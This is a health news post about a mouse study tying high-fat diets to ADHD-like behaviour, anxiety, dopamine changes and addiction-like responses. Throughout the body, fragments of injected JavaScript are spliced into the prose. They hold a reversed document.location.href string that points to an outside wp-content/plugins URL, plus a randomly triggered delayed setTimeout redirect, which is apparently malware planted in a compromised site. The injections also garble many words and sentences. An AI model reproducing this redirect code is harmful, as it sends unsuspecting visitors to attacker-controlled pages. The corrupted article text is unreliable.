ADHD, Obesity, Learning Disorder, Additction
03Aug

A high-fat diet not unlike the average western one made young mice display ADHD-like behavior.

A recent study conducted at the University of Illinois and lead by Dr. Gregory Freund, a member of the university’s Division of Nutritional Sciences, found a significant link between high-fat diets and memory-dependent learning impairments like attention deficit hyperactivity disorder (ADHD).

We found that a high-fat diet rapidly affected dopamine metabolism in the brains of juvenile mice, triggering anxious behaviors and learning deficiencies. Interestingly, when methylphenidate (otherwise known as Ritalin) was administered, the learning and memory problems went away, said Dr. Freund.

The study was published in the journal Psychoneuroendocrinology.

Interestingly, Freund noted that both the brain of an ADHD person and the brain of an obese person shared a similar alteration in their dopamine signalling and asserts that an increase in the amount of dopamine metabolites is correlated with anxiety-like behaviors in children.

The study itself was sparked by the observation of rising rates of cognitive impairments such as ADHD as well as childhood obesity. To examine if there was a relationship. Dr. Freund and his team compared high-fat and low-fat diets (where fat comprised 60% an 10% of the diets respectively) in two separate groups of four-week old mice. For perspective, the average American diet consists of between 35 and 45% fat.

After only one week of the high-fat diet, even before we were able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to see any weight gain, the behavior of the mice in the first group (high-fat) began toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to change, Dr. Freund said.

Symptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toms of anxiety were evidenced including increased burrowing and the use of their wheel, as well as a contempt for exploring open spaces. Memory and learning deficits were also apparent, with decrease ability toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to navigate a maze and diminished object recognizing abilities.

Behavior Normalized after High-Fat Diet Ceased

Returning some of the high-fat group of mice toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a low-fat diet saw cognitive abilities return toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to normal within one week. Those who remained on the diet retained the symptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toms for approximately 10 weeks, after which the body was able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to compensate for the diet mentally, but had become obese and developed diabetes. This result has also confirmed previous findings on the subject.

Although the mice grow out of these anxious behaviors and learning deficiencies, the study suggests toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to me that a high-fat diet could trigger anxiety and memory disorders in a child who is genetically or environmentally susceptible toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to them, Freund said.

The scientists hypothesized that removing the fat from the diet abruptly, or going ‘cold turkey,’ would negatively affect these cognitive impairments and stimulate increased anxiety and decreased ability toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to learn.

This hypothesis was validated when the researchers saw evidence that the high fat diet created chemical responses similar toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ones that are witnessed in addiction cases.

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